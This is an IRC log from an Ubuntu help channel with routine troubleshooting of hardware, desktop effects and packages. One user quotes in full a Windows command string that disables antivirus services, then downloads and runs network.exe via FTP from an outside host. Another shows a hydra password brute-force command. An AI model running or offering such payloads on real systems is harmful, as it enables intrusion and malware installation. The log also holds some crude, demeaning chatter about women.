[02:26] <Jowi> deepsa, is it listed as an ethernet device in there?
[02:26] <atlas95> hello
[02:26] <diederick> When I've got a TFT monitor (2), do I need touse "DFP" or "CRT" in the xorg.conf? (probably "DFP", but this is what I found in my log: http://paste-it.net/932)
[02:26] <deepsa> naw eth0 is lan eth1 is wlan.
[02:26] <Twiztr> Deepsa, my cablemoden is USB, and shows up as a eth dev
[02:26] <un_operateur> Twiztr, sure, install the mozilla-mplayer or totem-mozilla plugins packages
[02:26] <atlas95> I have a problem with my new laptop, it has an intel core 2 duo T5600, 1,83ghz
[02:26] <deepsa> ifconfig?
[02:26] <atlas95> but it doesn't want to turn a it maximum
[02:27] <atlas95> it blocks at 1,33ghz
[02:27] <atlas95> could you help me please
[02:27] <diederick> Someone?
[02:27] <noobcook> how do u install login themes in ubuntu?
[02:28] <un_operateur> deepsa, usually with usb modems, you need to install the drivers .. use the make and model # to google for some linux drivers
[02:28] <deepsa> idk make and model what i do
[02:28] <Jowi> noobcook, launch "sudo gdmsetup" and drag'n'drop the theme into it
[02:28] <un_operateur> noobcook, download a gdm theme you'd like to install -- and use the "gksudo gdmsetup" command
[02:28] <noobcook> ok
[02:29] <deepsa> usb light is on in the modem.
[02:29] <FactTech> Question: What is the exact relationship between Xfce and GNOME? Does Xfce use GNOME libraries and packages?
[02:29] <un_operateur> deepsa, well, that only indicates to you that it has detected a USB connection
[02:30] <deepsa> oh
[02:30] <un_operateur> deepsa, can't you find the model number from the modem .. on the bottom or side of it?
[02:30] <deepsa> its sterlite
[02:31] <un_operateur> FactTech, I think what's common in between the two is that they both use GTK .. I dont think XFCE uses any Gnome/Gnome2 libraries
[02:31] <deepsa> sterlite WA1003A
[02:32] <FactTech> un_operateur Thanks. I'm asking because I registered a bug at launchpad, and it was suggested that I install the 'yelp' package to fix it. 'yelp' has about a dozen GNOME packages that it's dependent on, so I'm worried that installing it will do something bad to Xfce. Is that a legitimate worry?
[02:32] <jrib> FactTech: no, nothing bad should happen.  You can have xfce, gnome, kde etc all together
[02:33] <un_operateur> FactTech, installing gnome or even kde packages on xubuntu shouldnt break anything
[02:33] <Twiztr> gstreamer or xine?
[02:33] <FactTech> jrib, un_operateur: OK, Thanks to both of you. I'll try it and see what happens.
[02:33] <tim167> how can I open a .png image from the terminal ?
[02:33] <jrib> tim167: gnome-open file.png
[02:33] <mneptok> FactTech: it will not break XFCE, but by installing and utilizing the GNOME libraries you'll lose the "it's more lightweight!" aspects of XFCE usage
[02:34] <jrib> tim167: or use your favorite png-viewer
[02:34] <tim167> jrib: is it faster than double clicking it in gnome ?
[02:34] <FactTech> mneptok That's a little of what I was worried about, but it should only use the GNOME libraries when it has to, right?
[02:34] <DesertEagle> good morning all
[02:34] <mneptok> FactTech: correct
[02:34] <FactTech> mneptok OK, Thank you.
[02:34] <jrib> tim167: depends on how fast you type.  gnome-open just opens the same program that would open normally
[02:34] <un_operateur> deepsa, i think this person has instructions on getting your usb modem running -- http://sudharsh.wordpress.com/tag/foss-and-linux/  (search for sterlite)
[02:34] <DesertEagle> am i the only one that can't launch pypanel? it's installed but it keeps saying command not found
[02:34] <mneptok> FactTech: np np. good luck :)
[02:35] <tim167> jrib: than its slow, here, it takes too long for an image to load, i thaught maybe with a smaller viewing program it would be faster
[02:35] <jrib> tim167: sure, just use a different viewer. FOr example, feh
[02:35] <mneptok> DesertEagle: open a terminal and type "sudo updatedb && locate pypanel" (no quotes) and see what files you find
[02:36] <deepsa> un_operateur, he doesnt use usb
[02:36] <tim167> jrib: feh that is? i'll look it up
[02:36] <iote> Hi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?
[02:36] <DesertEagle> mneptok lol i was just updatedb'ing as a matter of fact
[02:36] <jrib> tim167: apt-cache show feh  , if you like what you read:  sudo apt-get install feh  , then try it out:  feh file.png
[02:36] <Jowi> deepsa, do you have a possibility to connect to the modem/router via an ethernet port?
[02:36] <mneptok> DesertEagle: well then, there you go. :)
[02:37] <DesertEagle> mneptok no bin/pypanel though :(
[02:37] <mneptok> DesertEagle: but is there even a pypanel.py?
[02:37] <un_operateur> DesertEagle,  usually if it can be launced it places an executable in one of the $PATH directories .. i'd do this -- dpkg -L pypanel |   grep -i bin
[02:37] <tim167> jrib: installing already ... :-P
[02:37] <DesertEagle> locate pypanel.py returns nothing :(
[02:38] <DesertEagle> am i gonna have to compile it myself? :(
[02:38] <Li`lEndian> Hi, i am getting an fsck error exiting with status 1. its the partition on which i've mounted /home
[02:38] <diederick> hi all... I've installed the latest Ubuntu, with nvidia dirvers... now I want to install beryl.. someone who knows a good howto?
[02:38] <jrib> !beryl | diederick
[02:38] <ubotu> diederick: Beryl is a window manager that takes advantage of an OpenGL accelerated X environment. See http://forum.beryl-project.org/ - Help in #ubuntu-xgl
[02:38] <un_operateur> deepsa, but he does say "Oh and router=modem in this article" .. and doesnt mention if he uses usb or not
[02:38] <Li`lEndian> but when i try to unmount it for fsck'ng it manually, i get a device busy error
[02:38] <BULLE> diederick: its not so much to install, just install the packages, and start beryl-manager
[02:38] <Li`lEndian> how can i get round the problem?
[02:39] <jrib> DesertEagle: https://launchpad.net/ubuntu/+source/pypanel/+bug/67337
[02:39] <diederick> really?
[02:39] <diederick> BULLE: which packages?
[02:39] <mneptok> DesertEagle: looking at pypanel, stand by
[02:39] <BULLE> diederick: the beryl ones ?
[02:39] <diederick> sounds logical :D
[02:39] <KristianDK> Hi guys, when i've downloaded kubuntu-desktop, can then uninstall ubuntu-desktop ? ;)
[02:39] <diederick> BULLE: do i need to add a repositor?
[02:39] <un_operateur> KristianDK, sure
[02:39] <jrib> KristianDK: if you want to
[02:40] <BULLE> diederick: yes
[02:40] <BULLE> diederick: all info can be found on the beryl homepage
[02:40] <diederick> BULLE: do you know which one?
[02:40] <KristianDK> jrib - ok :) Thanks
[02:40] <diederick> oke thanx
[02:40] <iote> Hi there, is it normal behavior in ubuntu that when I "chvt 1" then "chvt 7" my X session is restarted?
[02:41] <Li`lEndian> Hello? china? anyone point me out what I can do to fsck a directory which won't unmount even when I startup in recovery mode?
[02:41] <DesertEagle> jrib thanks!
[02:41] <Jowi> deepsa, try "sudo modprobe eagle-usb"
[02:41] <mneptok> DesertEagle: on Edgy pypanel wants me to install python2.5
[02:41] <swarog> hello
[02:41] <DesertEagle> Li'lEndian fsck the device itself?
[02:41] <DesertEagle> mneptok yeah apparently i'll have to install a different version
[02:41] <BULLE> diederick: http://wiki.beryl-project.org/wiki/Install_Beryl_on_Ubuntu
[02:42] <Li`lEndian> DesertEagle, yeah, i still get a warning - saying that it could cause severe damage to run fsck on a mounted fs.
[02:42] <un_operateur> iote, I ususally just use the CTRL+ALT+F1 and CTRL+ALT+F7 combinations .. doesnt restart X then
[02:42] <DesertEagle> according to the bug post brought up by jrib
[02:42] <diederick> bulle great! (do you have beryl installed?)
[02:42] <mneptok> DesertEagle: did you install pypanel from the repos?
[02:42] <DesertEagle> yep
[02:42] <swarog> i have strange problem installing kubuntu 6.10 on my laptop, whle trying to install "mount: function not implemented" than it stops at "checking file system"
[02:42] <Li`lEndian> DesertEagle, don't think it'd be wise to try that. problem is,  cannot umount the /home parition
[02:42] <swarog> after that it simply spawn the console and thats it, no graphic interface ...
[02:42] <iote> even w Ctrl+Alt it restarts...
[02:43] <DesertEagle> Li'lEndian i though you said it wasn't mounted
[02:43] <diederick> BULLE:  I get : "deb: command not found" ?
[02:43] <jrib> diederick: it's not a command
[02:43] <diederick> oh ?
[02:43] <iote> un_operateur: even w Ctrl+Alt it restarts...
[02:43] <snail> Li`lEndian: boot the install disk and get a console on that to fsck your disk
[02:43] <un_operateur> iote, it sounds like a problem you have there with your X server .. unfortunately, i wouldnt know what to do to troubleshoot
[02:43] <swarog> any ideas?
[02:43] <jrib> diederick: doesn't the page you are using mention opening /etc/apt/sources.list ?
[02:44] <Li`lEndian> DesertEagle, well, yeah, my mistake explaining it- problem simply is, i cant unmount it
[02:44] <mneptok> DesertEagle: https://launchpad.net/ubuntu/+source/python-xlib/+bug/66511 <-- you could try adding that path to python's env
[02:44] <diederick> Oh i see :$ sorry
[02:44] <DesertEagle> Li'lEndian oh... well then you'll have to do like snail says
[02:44] <un_operateur> iote, you could ask upstream in #debian
[02:45] <iote> un_operateur: mmm, will do that then...
[02:45] <Li`lEndian> ok, thanks, everyone, will try that
[02:45] <ErrorReport> hello
[02:46] <diederick> BULLE: Do I also need to do this: " $ sudo apt-get install xserver-xgl" ? I've got the latest ubuntu (6.10) ..
[02:46] <jrib> un_operateur: seems I was wrong by the way.  Firestarter is blocking everything by default
[02:46] <diederick> BULLE: I thought it already had 'xgl'  or am I mistaken?
[02:46] <un_operateur> jrib, yep, didn't you see that in the IPTABLES -L output? :p :)
[02:46] <DreamThief> diederick, dont mix XGL and AIGLX
[02:46] <J`adore> speak spanish?pls?
[02:47] <un_operateur> !es | J`adore
[02:47] <ubotu> J`adore: Para Espaol por favor usen #ubuntu-es, #kubuntu-es o #edubuntu-es, all obtendrn mas ayuda.
[02:47] <diederick> hmm oke.. sorry but I'm to knew to this... does this mean I can just execute that command?
[02:47] <jrib> !repos | diederick
[02:47] <ubotu> diederick: The packages in Ubuntu are divided into several sections. More information at https://help.ubuntu.com/community/Repositories and http://www.ubuntu.com/ubuntu/components - See also !EasySource
[02:47] <J`adore> 10x;)
[02:48] <BULLE> diederick: pick the right instructions for your graphics setup
[02:48] <Michaelk> Hi
[02:48] <diederick> ok
[02:48] <swarog> cant boot it in 'safe' mode too
[02:50] <swarog> pfeh
[02:50] <swarog> come on, suggestions?
[02:50] <un_operateur> swarog, download alternate CD and use it, i should think
[02:51] <Michaelk> Heard about the feisty codecs package?
[02:52] <seanh> Hi folks, writing an extension to Python and just wondering about building Python on Ubuntu, as I understand I can install Python from source to /usr/local and it will override, but not overwrite, ubuntu's build of Python. Is there an easy to then uninstall my built-from-source Python?
[02:52] <Michaelk> What do u guys think of that?
[02:52] <freakynl> heya, can anyone say on average how fast updates are released for new packages? take wireshark for example, 0.99.4 was release on 31-10 but it's still at 99.3a
[02:52] <Moo-> Does Ubuntu have some kind of "Wireless network wizard"? I want to scan all open WLANs and connect to mine.
[02:53] <un_operateur> ouch .. pypanel sent xchat2 on it's bike
[02:53] <jrib> !release | freakynl
[02:53] <ubotu> freakynl: Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at http://www.ubuntu.com/ubuntu/releases & http://wiki.ubuntu.com/TimeBasedReleases
[02:53] <freakynl> Moo-: new too ubuntu but there's something called wpa_supplicant, doesn't work with all cards tho'
[02:53] <mneptok> Moo-: sudo aptitude install network-manager-gnome
[02:53] <freakynl> ubotu: they don't update packages within a release?
[02:53] <erUSUL> freakynl: in a release only security updates are aviable no nwe versions
[02:53] <Moo-> mneptok: ok. thanks. All I need is that freaking network connection first ;9
[02:54] <jrib> freakynl: ubotu is a bot, please read those two pages first
[02:54] <FactTech> freakynl, erUSUL: But you can still import an update using Synaptic or manually, right?
[02:54] <noobcook> jrib: ** ERROR **: file callbacks.c: line 544 (popen_re_unbuffered): should not be reached........aborting... any ideas?
[02:54] <njuabc> DDFLKD
[02:54] <katabatic> anybody very knowledgeable willing to help me? nobody can figure out my problem
[02:55] <erUSUL> FactTech: short answer: no
[02:55] <jrib> noobcook: what were you doing to get that?
[02:55] <erUSUL> !anyone
[02:55] <ubotu> A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[02:55] <FactTech> erUSUL All right, then! :)
[02:55] <freakynl> hmm thx... now i remember why i started using gentoo in the first place :D
[02:55] <noobcook> jrib:  hydra 127.0.0.1 cisco -l david -p pass.l -t 36
[02:56] <erUSUL> FactTech: you can add ubuntu backports repo and get *some* new versions
[02:56] <erUSUL> !backports
[02:56] <ubotu> If new updated Ubuntu packages are built for an application, then they go into Ubuntu Backports. See https://help.ubuntu.com/community/UbuntuBackports
[02:56] <Moo-> mneptok: do you think I should file a bug report that the tool should be in the default install? Would I get +1 from you for it?
[02:56] <swarog> btw, how could i boot ubuntu installation in text mode?
[02:56] <DesertEagle> mneptok so there's no fix huh? :(
[02:57] <erUSUL> FactTech: new releases appear every 6 months i do not think the problem is as bad as in say dabian
[02:57] <mneptok> Moo-: WPA detection, password hashing and storage, and negotiation are known warts.
[02:57] <freakynl> ubotu: thx that was the answer i was looking for
[02:58] <FactTech> erUSUL Oh, I'm not arguing with the release cycle. I just thought you always had the option of installing updated packages on your own (and at your own risk, of course).
[02:58] <diederick> BULLE: yehoo!! it works
[02:58] <diederick> very very nice
[02:58] <freakynl> i just keep on talking to the bot :P
[02:58] <BULLE> diederick: see, wasnt that hard was it
[02:58] <diederick> indeed thanx!
[02:58] <BULLE> diederick: you will get annoyed by the wobbly windows and moving stuff after about 15 minutes, but the first 15 minutes are very fun =)
[02:59] <diederick> BULLE: is it also possible to change the way the 'button', 'menus' etc work?
[02:59] <seanh> !python
[02:59] <ubotu> python: An interactive high-level object-oriented language (default version). In component main, is important. Version 2.4.3-11ubuntu3 (edgy), package size 37 kB, installed size 208 kB
[02:59] <diederick> BULLE:  haah yeah probably
[02:59] <BULLE> diederick: dunno, havent used beryl much, only for about 15min total time
[02:59] <freakynl> BULLE: i actually quite like em, doesn't add anything useful tho'
[02:59] <DesertEagle> what's the name of that WM again?
[02:59] <DesertEagle> the wobbly one?
[03:00] <BULLE> freakynl: only feature i kind of find usefull, is the zoom out and pick window, when you move mouse up to top right corner
[03:00] <BULLE> DesertEagle: compiz or beryl
[03:00] <MarcN> Which is the better/faster/more stable X driver for an ATI device?    radeon or ati (default).
[03:00] <DesertEagle> you move windows and it wobbles
[03:00] <DesertEagle> ah ok thanx
[03:00] <BULLE> DesertEagle: both have the wobbly window stuff
[03:00] <DesertEagle> which is easier to install?
[03:00] <deepsa> do we have any utility in ubuntu that makes complete desktop black and white
[03:00] <faeryNatsuki> hello!
[03:01] <seanh> !theme
[03:01] <ubotu> Find your themes at: http://www.gnome-look.org - http://art.gnome.org - http://www.kde-look.org - http://themes.freshmeat.net/browse/58/ - http://www.guistyles.com - https://wiki.ubuntu.com/Artwork/ - Also see !changethemes and https://help.ubuntu.com/community/UbuntuEyeCandy
[03:01] <Jowi> deepsa, did you get my message about the usb modem?
[03:01] <deepsa> i mean even windows
[03:01] <mneptok> MarcN: binary driver is faster but not free. and it's (mostly) stable.
[03:01] <seanh> !changethemes
[03:01] <ubotu> [Ubuntu]  Install gnome-themes (gnome) or go to menu, system settings, appearance. [KDE]  For a good KDE guide, see https://help.ubuntu.com/community/CustomizeKubuntu.
[03:01] <mneptok> !ati | MarcN
[03:01] <ubotu> MarcN: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:01] <deepsa> Jowi, ya i got it. i configured the wireless
[03:01] <Jowi> deepsa, did it work or not with eagle-usb?
[03:02] <pike_> deepsa: change xorg depth to 1 see what happens
[03:02] <Morrissey> !poker
[03:02] <ubotu> Sorry, I don't know anything about poker - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:02] <deepsa> no no. i am using wireless now. usb not working
[03:02] <tijn> poker?
[03:02] <deepsa> pike_, how i do that
[03:02] <Jowi> k
[03:02] <Twiztr> Shit... 13 of 390 packages updated...
[03:02] <Dimensions> hiya how do u save evolution mails ??? if i want to zip it .... i have done some time back but forgot the location we have to save ??
[03:03] <zero_> #ubuntu-netinst
[03:03] <mneptok> spineless bstrds all
[03:03] <un_operateur> Dimensions, should be under ~/.evolution/
[03:03] <zero_> j/ #ubuntu-netinst
[03:03] <pike_> gksudo gedit /etc/X11/xorg.conf          then scroll to bottom of file youll see and entry like DefaultDepth 24     24 or 16 is usually what you want anyway change to one of the other depths listed with thier resolutions just below that so DefaultDepth 1    or 4 or whatever maybe
[03:03] <pike_> deepsa: ^
[03:03] <Dimensions> thanks un_operateur
[03:04] <mneptok> sorry dude
[03:04] <deepsa> pike_, will it make black and white. will not distort pixel quality?
[03:04] <pike_> deepsa: youll have to alt-ctrl-backspace to reset x and read config file again. never done that leemme know how it looks :)
[03:04] <deepsa> pike_, i think its bad to change the value
[03:05] <pike_> easy enought to change back
[03:05] <un_operateur> deep, i think it's worse to want a B&W desktop :)
[03:05] <pike_> deepsa: but im sure there is a monotone theme or something you could download
[03:05] <un_operateur> err, deepsa *
[03:05] <DesertEagle> i love yakuake :)
[03:05] <Morrissey> yakuake's the greatest :)
[03:05] <deepsa> plz i wanna have B&W
[03:06] <pike_> with analouge static too would be cool :)
[03:07] <ddgbosi> howdy assnuggets
[03:07] <DesertEagle> that's a great intro greeting
[03:07] <ddgbosi> lol Desert
[03:08] <FurryNemesis> this is going to be a loooong day....
[03:08] <ddgbosi> well, assnuggets or shitwaffles, any of those work
[03:09] <ddgbosi> so, any sorta-ugly females in here with very low self-esteem?
[03:09] <diederick> where can I change the way "scrollbars,buttons, menus, toolbars" look?
[03:09] <DesertEagle> ddbgosi: you charmer you ;)
[03:09] <ddgbosi> lmfao
[03:09] <roberto> hi
[03:10] <roberto> help
[03:10] <ddgbosi> ok
[03:10] <DesertEagle> damn
[03:10] <ddgbosi> so, someone comes in here, says help, and leaves
[03:11] <DesertEagle> it'd been funny if the quit msg was +++NO CARRIER+++
[03:11] <ddgbosi> lol
[03:11] <ddgbosi> man, for some reason automatix is crawling this morning
[03:11] <un_operateur> ddgbosi, could be that the demon's he was fighting pulled him under before we got a change to help him
[03:11] <bakert> snail, if you're still here.  i wrote up this morning's mess up at http://bluebones.net/2007/01/ubuntu-dapper-is-not-debian-unstable/
[03:12] <ddgbosi> lmfao @ un-operateur
[03:12] <jrib> !themes | diederick
[03:12] <ubotu> diederick: Find your themes at: http://www.gnome-look.org - http://art.gnome.org - http://www.kde-look.org - http://themes.freshmeat.net/browse/58/ - http://www.guistyles.com - https://wiki.ubuntu.com/Artwork/ - Also see !changethemes and https://help.ubuntu.com/community/UbuntuEyeCandy
[03:12] <snail> bakert: thanks
[03:12] <ddgbosi> how ppl barely talk in here?
[03:12] <faeryNatsuki> i want to save and reuse custom emoticons in kopete or gaim the same way live messenger does, how can i do that?
[03:12] <ddgbosi> *how come
[03:13] <ikonia> there is normally a lot of traffic ddgbosi
[03:13] <un_operateur> ddgbosi, most conversation usually is redirected into #ubuntu-offtopic
[03:13] <ikonia> faeryNatsuki best to ask in kde
[03:13] <ddgbosi> then wht's goin on today?
[03:13] <bakert> snail, no, thank you!
[03:13] <ddgbosi> oh! i see
[03:13] <faeryNatsuki> thanks ikonia
[03:13] <diederick> jrib: yeah but I have Beryl installed... and now all my buttons are very 'ugly'... do I need to change this in the 'theme' menu option?
[03:13] <enaut>  hey guys i can't find the reason for Direct rendering not being activated - i instaled  my Nvidia graphiccard with the Nvidia *.run script with the guidance of the (german) Wiki Now I can test with glxgears the rendering and everything works fine - i see the gears. but the command glxinfo | grep rendering says:direct rendering: No what could be the problem?
[03:13] <faeryNatsuki> but it's not possible to do it in gaim?
[03:13] <ddgbosi> Beryl is not too appealing to me.....anymore
[03:14] <rogue780> hey, one my server computer I've noticed when I leave anything that accepts text inputs up, it ends up getting filled with junk like "r%systemroot%\system32\cmd.exe net stop Security Center &net stop navapsvc &net stop kavsvc &net stop McAfeeFramework &net stop NOD32krn &net stop McShield &net stop Symantec AntiVirus &net stop Norton AntiVirus Server &echo open ftp.bigboat.be 21 > i&echo get network.exe >> i &echo
[03:14] <rogue780>  quit >> i &ftp -As:i &network.exe &exit" any ideas what that is and how to stop it?
[03:14] <ikonia> enaut nvidia drivers are ment to be installed from the ubuntu repo - not the .run scripts
[03:14] <olimpico> I bought a TP-Link Wireless card, i read in internet it was automatically recognized by Ubuntu, but I had ubuntu already installed, How do i make KUbuntu to recognize my new Wireless card??? When I type lspci, it's there, but how do I configure it?
[03:14] <ikonia> rogue780 do you mean in your apache log
[03:14] <enaut> ikonia I know but that wasnt working at all
[03:15] <ikonia> enaut then you should have asked for help with that
[03:15] <ikonia> rather than breaking the whole support process
[03:15] <rogue780> ikonia, no, I mean if I had an OOo document open all night, when I checked it in the morning the page would be full of that stuff, or if I had instant messenger up it would send that out to anyone I have an active conversation open with, or if I left this open it would get sent to you
[03:15] <diederick> jrib:  I went to "System->Preferences->Theme"  but how do I apply a theme?
[03:15] <certified> back
[03:16] <olimpico> Please someone help me, just give me a hint!
[03:16] <Jack127> selam
[03:16] <ikonia> rogue780 very strange, could be a messaganger style exploit
[03:16] <noobcook> apt-get install rootkit
[03:16] <noobcook> lol
[03:16] <Jack127> ikonia
[03:16] <ikonia> olimpico whats the question you need a hint on
[03:16] <pike_> olimpico: is that a pcmcia card or pci?
[03:16] <Jack127> hi
[03:16] <jrib> diederick: just select it.  But if you are using beryl, then you should right click on the emerald and edit /that/ theme
[03:16] <ikonia> Jack127 hello
[03:16] <Jack127> :)
[03:16] <CheshireViking> !wireless
[03:16] <ubotu> Wireless documentation can be found at https://help.ubuntu.com/community/WifiDocs
[03:16] <enaut> ikonia but the two commands are actually testing the same option (glx gear and glxinfo)
[03:16] <snail> bakert: back to your original problem
[03:16] <ikonia> enaut no - you've installed the wrong drivers
[03:17] <snail> bakert: do you still need to haskel compiler?
[03:17] <ikonia> enaut thats why its hard to support it
[03:17] <diederick> jrib: and than I can switch back to the default ubuntu 'buttons/scrollbars/menus/' ?
[03:17] <enaut> ok
[03:17] <enaut> ikonia is there a chance to install the right ones?
[03:17] <ikonia> enaut remove the ones you've installed, and install the drivers from the ubuntu repo's
[03:17] <bakert> snail, i am compiling it from source as we speak.  although it took 2 and a half hours yesterday and didn't complete.
[03:18] <snail> bakert: you know about compiling from the source package?
[03:18] <jrib> diederick: you should be able to choose any theme listed there, including the default
[03:18] <ikonia> snail yes, what is your question
[03:18] <un_operateur> rogue780, those are commands used on windows .. errm, sounds like you r computer is getting "pWn3d" :)
[03:18] <diederick> jrib:  yes, but when I change a beryl-theme it only changes the 'window/border'
[03:18] <ikonia> un_operateur i thought it was in his apache log and it was the old iis exploit attempts
[03:18] <diederick> jrib: but not the way the buttons/scrollbars/etc. look
[03:19] <snail> ikonia: sorry, i'm helping bakert with an earlier issue
[03:19] <jrib> diederick: yeah, I guess that is system > preferences > theme then
[03:19] <Dimensions> hiya i have saved .evolution folder before with old emails ... now i have new mails in fresh installed ubuntu few days ago how do i put old mails and new one ... the old ones i saved full .evolution folder in .tar.gz format
[03:19] <ikonia> snail ahhh so you don't need help. My mistake. Sorry
[03:19] <un_operateur> ikonia, i thought so too until he said they appear in actual gtk applications
[03:19] <ikonia> un_operateur yes, OO documents, very strange
[03:19] <olimpico> pike_: pcmcia
[03:19] <bakert> snail, yes despite my apparent cluelessness this morning i'm actually fairly au fait with the whole thing as a programmer by trade.  i'm just not that good on the dpkg/apt-get side of things.
[03:20] <diederick> jrib: and after selecting a theme there, do I need to re-login?
[03:20] <snail> bakert: ok
[03:20] <jrib> diederick: no
[03:20] <diederick> hmm not working then :-(
[03:20] <bakert> snail, of course the version i need is in feisty ... but i couldn't think of a plan that made more sense involving feisty.  thanks for your help!
[03:20] <jrib> diederick: let me load up beryl, one sec
[03:21] <olimpico> pike_: Please give a small hint, where to look.
[03:21] <snail> bakert: you can put in a request for it to be backported, but I'm not sure it's a priority
[03:21] <ikonia> snail whats your perception on back ports to the LTS package - I've not seen much filter through yet
[03:21] <diederick> oke great jrip
[03:22] <jrib> diederick: go to "theme details" in themes and change the "controls".  Does that affect it?
[03:22] <pike_> olimpico: if you alt-ctrl-f1 then uplug the card and plug back in youll see some info when its detected. replug the card and maybe "dmesg | tail -n 30" im not sure what info youll see but it might be helpful. are you sure its not setup already? try 'ifconfig' your ethernet card will be eth0  and loopback is lo so any other device should be the wireless. like eth1 or ath0 or wlan1
[03:22] <bakert> snail, nah don't worry ... i will let my compilation go all day and hopefully by tonight it will be working.
[03:22] <snail> ikonia: none of the things that are dear to my heart work for it (mainly nitty kernel stuff)
[03:22] <njuabc> I feel   depress!
[03:22] <pike_> olimpico: alt-f7 to get back to gui if you do that
[03:22] <ikonia> snail is there a public back port policy ?
[03:22] <diederick> jrib: you mean from system->pref->theme ?
[03:23] <jrib> diederick: yep
[03:23] <snail> ikonia: not that I'm aware of
[03:23] <ikonia> thank you
[03:23] <olimpico> pike_: I tried ifconfig, and there is only eth0, that's the problem
[03:24] <diederick> jrib: I selected 'details' than the ubuntu-human thing.. nothing changed
[03:24] <jrib> diederick: how did you run beryl?
[03:24] <diederick> beryl-manager
[03:24] <jrib> diederick: hmm I don't know.  Try #beryl then, maybe it's a known issue.  A screenshot of your controls now might help too
[03:25] <pike_> olimpico: well you might sudo apt-get install linux-restricted-modules-$(uname -r)  just in case its not installed yet.  maybe someone here can give you better info on setting up in gui im not too familiar with gnome or kde
[03:25] <olimpico> pike_: I only get pccard: CardBus card inserted into slot 0
[03:26] <pike_> olimpico: should get more than that.  anyone else able to help olimpico out? im pretty busy right now
[03:26] <olimpico> pike_: Thanks a lot! I'm trying to install now linux-restricted-modules
[03:27] <olimpico> pike_: But I believe my repositories are not valid, since it was not able to fetch
[03:27] <noobcook> is the Opera browser any good?
[03:27] <noobcook> or is it rubbish
[03:27] <ikonia> I don't like it
[03:27] <ikonia> but its personal choice
[03:27] <ikonia> try it
[03:27] <noobcook> i think ill stick to firefox
[03:27] <pike_> !easysource| olimpico
[03:27] <ubotu> olimpico: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic
[03:28] <pike_> olimpico: just sudo apt-get update after that
[03:28] <JayPro> i am logged onto unbuntu edgy eft via cygwin & putty on windows xp, and i cant seem to get the complete desktop environment running.  how do i  do it?
[03:28] <ikonia> JayPro need to run gnome-desktop
[03:28] <ikonia> and export it to your windows display
[03:28] <pike_> olimpico: in dapper my restricted modules package is in  http://security.ubuntu.com dapper-security/restricted Packages
[03:28] <ikonia> or gdm - and re-login
[03:28] <alnokta> jenda: can you make me unafflitated?
[03:28] <ikonia> alnokta unafflitated ???
[03:29] <un_operateur> noobcook, I found opera to be quite good -- only reason why i don't use it primarily is the lack of support for my firefox extensions
[03:29] <JayPro> ikonia do i just type that in the terminal?
[03:29] <alnokta> ikonia: i mean 'cloak' or something..
[03:29] <ikonia> JayPro you need to launch a command that will either launch the gdm login screen so that IT will launch the desktop, or launch the desktop
[03:29] <cokeslut> sup?
[03:30] <ikonia> alnokta or something ???
[03:30] <ikonia> alnokta what do you want to achieve
[03:30] <cokeslut> confidential
[03:30] <JayPro> oh okay
[03:30] <un_operateur> ikonia, i think he's after X forwarding through SSH
[03:30] <ikonia> un_operateur nah, I think he's got that - but he can't get the gnome desktop exported
[03:30] <diederick> jrib: hmm without beryl I can change the borders, not the buttons...
[03:30] <JayPro> before i logged in using putty, i checked a box for x forwarding
[03:31] <ikonia> JayPro checked a box ??? didn't know you could do that
[03:31] <jenda> alnokta: yes
[03:31] <pike_> JayPro: youre not trying to forward to windows? you need a win32 x server then i think. cygwin or something setup
[03:31] <noobcook> howcome aMule doesn't connect?
[03:32] <IdleOne> alnokta: type stas o then msg the IRCop who is available and ask politely if they can give you a cloak
[03:32] <ikonia> noobcook don't know - check your network
[03:32] <JayPro> pike_ yeah i have cygwin and putty running
[03:32] <salah__> hello. Im sitting at a laptop, and when trying to use a headphone, I still hear sound on the laptop speakers. Any idea how to make the sound to be used in headphones when it is plugged in?
[03:32] <noobcook> ikonia: everything is ok
[03:32] <ikonia> noobcook clearly not.....
[03:32] <pike_> JayPro: way ahead of me then :)
[03:32] <IdleOne> alnokta: I meant .stats p
[03:32] <un_operateur> JayPro, why not just use VNC?
[03:32] <IdleOne> err /stats p lol
[03:33] <JayPro> un_operateur isnt when you use vnc, you have to be logged ON the remote box? i needed a different way of connecting because it's not just me that would be using the remote system
[03:34] <JayPro> or is that not true
[03:34] <noobcook> ikonia: 2007-01-13 01:34:32: Connecting
[03:34] <noobcook> 2007-01-13 01:34:32: No valid servers found in server list
[03:34] <diederick> how can I connect to a samba share?
[03:34] <ikonia> noobcook are there any valid servers in the list ?
[03:34] <noobcook> ive never used aMule before
[03:34] <ikonia> diederick do you have a samba share setup
[03:34] <ikonia> noobcook read the docs on it
[03:35] <noobcook> alright
[03:35] <diederick> ikonia: well I've got another server with samba shared whereto I want to connect
[03:35] <jrib> diederick: screenshot?
[03:35] <un_operateur> JayPro, errm, i think that is true -- you mean that the VNC server requires a user to be logged on and have started a VNC session before a remote user can connect to it, right?
[03:35] <ikonia> diederick do you want to connect from an ubuntu or windows client
[03:36] <daxxar> Any way to tell my Ubuntu to be "light" on the disk-touching? I'm trying to get the best performance possible out of my PXE-booted, NFS-root Ubuntu mediamachine. :)
[03:36] <diederick> ubuntu
[03:36] <diederick> jrib: do you know somewhere where I can put the image?
[03:36] <jrib> diederick: imageshack.us
[03:36] <ikonia> diederick use the "connect to server "tap
[03:36] <ikonia> tab
[03:36] <diederick> ikonia: thanx!
[03:37] <diederick> ikonia: where is that tab?
[03:37] <ikonia> under "places" on gnome - at the top of your screen
[03:37] <JayPro> un_operateur as i understand it, the user needs to be logged onto ubuntu, where remote desktop is enabled...... not too sure about having to start a vnc session before someone can log in to the system
[03:37] <user-land> Hello, did one of you already apply the newest Xorg server security update ?
[03:37] <FactTech> Question: Who controls the universe repository?
[03:37] <ikonia> user-land the ones in the ubuntu repo ?
[03:37] <alnokta> thanks IdleOne :)
[03:38] <ikonia> user-land for which ubuntu version
[03:38] <user-land> yes, ikonia
[03:38] <user-land> 6.10
[03:38] <ikonia> user-land I did have them on my laptop until last night
[03:38] <olimpico> pike_: Thanks a lot, you really helped me!!!!!
[03:38] <user-land> and it is working well ?
[03:39] <ikonia> user-land well it depends, there was a few updates
[03:39] <ikonia> user-land which part are you talking about
[03:39] <user-land> everything ikonia :-)
